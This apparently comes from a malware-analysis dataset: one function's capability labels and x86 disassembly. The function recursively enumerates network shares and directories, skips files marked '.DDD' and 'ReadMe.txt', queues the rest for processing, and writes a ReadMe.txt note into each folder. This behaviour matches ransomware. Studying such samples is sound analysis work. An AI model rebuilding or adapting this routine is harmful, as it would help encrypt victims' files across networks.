Function at 0x407570
Capabilities:
Connect network resource
Enumerate files on windows
Enumerate files recursively
Enumerate network shares
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x280
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x270]
push ebx
push esi
push edi
push ecx
push eax
push 0x13
push 0
push 2
mov dword [ebp - 0x264], 0xffffffff
mov dword [ebp - 0x26c], 0x4000
call dword [sym.imp.MPR.dll_WNetOpenEnumW]
test eax, eax
jne 0x407894
push dword [ebp - 0x26c]
call fcn.0040947b
mov esi, eax
add esp, 4
mov dword [ebp - 0x27c], esi
test esi, esi
je 0x407888
lea eax, [ebp - 0x26c]
push eax
push esi
lea eax, [ebp - 0x264]
push eax
push dword [ebp - 0x270]
call dword [sym.imp.MPR.dll_WNetEnumResourceW]
test eax, eax
jne 0x40787f
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcmpiW]
cmp dword [ebp - 0x264], 0
mov dword [ebp - 0x278], 0
jbe 0x40785c
mov eax, esi
mov dword [ebp - 0x268], esi
nop
test byte [eax + 0xc], 2
je 0x407631
push eax
call fcn.00407570
jmp 0x40782b
push 0
push 0
push 0
push eax
call dword [sym.imp.MPR.dll_WNetAddConnection2W]
mov esi, dword [ebp - 0x268]
push 2
push 0x8000
mov esi, dword [esi + 0x14]
mov dword [ebp - 0x260], esi
call fcn.00409619
mov edi, eax
add esp, 8
test edi, edi
je 0x40782e
push esi
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x417ec0
push edi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x25c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 0x274], eax
cmp eax, 0xffffffff
je 0x407825
nop word [eax + eax]
xor esi, esi
push dword [esi + 0x417d34]
lea eax, [ebp - 0x230]
push eax
call ebx
test eax, eax
je 0x40779b
add esi, 4
cmp esi, 0x18
jb 0x4076a2
mov esi, dword [ebp - 0x260]
lea eax, [ebp - 0x230]
push eax
push esi
push 0x417ec8
push edi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
test byte [ebp - 0x25c], 0x10
je 0x4076f5
push edi
call fcn.00407350
add esp, 4
jmp 0x4077a1
push str..DDD
lea eax, [ebp - 0x230]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrIW]
test eax, eax
jne 0x4077a1
push str.ReadMe.txt
lea eax, [ebp - 0x230]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x4077a1
push 4
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
push eax
call fcn.00409619
mov esi, eax
add esp, 8
test esi, esi
je 0x40779b
push edi
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0xffffffffffffffff
push dword [0x41b514]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x41b9d4
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [0x41b9d0]
mov ecx, 0x12c
inc dword [0x41b9c8]
push 0x41b9d4
mov dword [eax*4 + 0x41b518], esi
inc eax
cdq
idiv ecx
mov dword [0x41b9d0], edx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push 0
push 1
push dword [0x41b9cc]
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
mov esi, dword [ebp - 0x260]
lea eax, [ebp - 0x25c]
push eax
push dword [ebp - 0x274]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x4076a0
push dword [ebp - 0x274]
call dword [sym.imp.KERNEL32.dll_FindClose]
push str.ReadMe.txt
push esi
push 0x417ec8
push edi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0
push 0x80
push 1
push 0
push 1
push 0x40000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x407825
push 0
lea eax, [ebp - 0x280]
push eax
push 0x41b440
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push 0x41b440
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call fcn.00409460
add esp, 4
mov ecx, dword [ebp - 0x278]
mov eax, dword [ebp - 0x268]
inc ecx
add eax, 0x20
mov dword [ebp - 0x278], ecx
mov dword [ebp - 0x268], eax
cmp ecx, dword [ebp - 0x264]
jb 0x407620
mov esi, dword [ebp - 0x27c]
lea eax, [ebp - 0x26c]
push eax
push esi
lea eax, [ebp - 0x264]
push eax
push dword [ebp - 0x270]
call dword [sym.imp.MPR.dll_WNetEnumResourceW]
test eax, eax
je 0x407600
push esi
call fcn.00409460
add esp, 4
push dword [ebp - 0x270]
call dword [sym.imp.MPR.dll_WNetCloseEnum]
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004079bd
mov esp, ebp
pop ebp
ret